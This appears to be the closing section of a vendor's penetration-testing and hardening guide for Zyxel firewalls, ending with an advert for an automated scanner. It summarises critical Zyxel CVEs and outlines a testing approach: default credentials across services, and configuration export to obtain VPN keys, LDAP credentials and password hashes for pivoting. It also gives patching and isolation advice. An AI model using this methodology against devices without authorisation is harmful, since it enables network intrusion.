# Download firmware manifest from Zyxel FTP
# ftp.zyxel.com/USG_FLEX_200/5.36/
Quick Wins: The highest-impact immediate actions are (1) patch to ZLD 5.36+, (2) change the default admin password, (3) disable FTP, and (4) restrict HTTPS management to a management VLAN. These four steps eliminate all of the critical CVEs and the hardcoded credential issue covered in this guide.

Summary

Zyxel firewalls and VPN gateways carry an unusually high density of critical vulnerabilities for network security devices. The pre-authentication attack surface — IKEv2 RCE (CVE-2023-28771), ZTP command injection (CVE-2022-30525), authentication bypass (CVE-2022-0342), and hardcoded credentials (CVE-2020-29583) — means that an unpatched, internet-facing Zyxel device should be assumed compromised.

During a penetration test, Zyxel devices warrant aggressive testing. Start with firmware fingerprinting, check all critical CVEs against the identified version, test default credentials across all services (FTP, SSH, HTTPS, SNMP), and attempt configuration export via any available path. The configuration file alone typically yields VPN PSKs, LDAP bind credentials, and password hashes sufficient to pivot deep into the network.

For defenders, the controls are straightforward but require discipline: patch aggressively, isolate management interfaces, disable unused services, and monitor logs for the specific patterns that characterize both manual exploitation and automated botnet scanning.

Automate Zyxel Security Testing with Ironimo

Ironimo scans your Zyxel appliances for CVE-2023-28771, CVE-2022-30525, hardcoded credentials, default SNMP community strings, and dozens of additional Zyxel-specific checks — automatically, on every scan cycle. Stop chasing firmware advisories manually.

Start free scan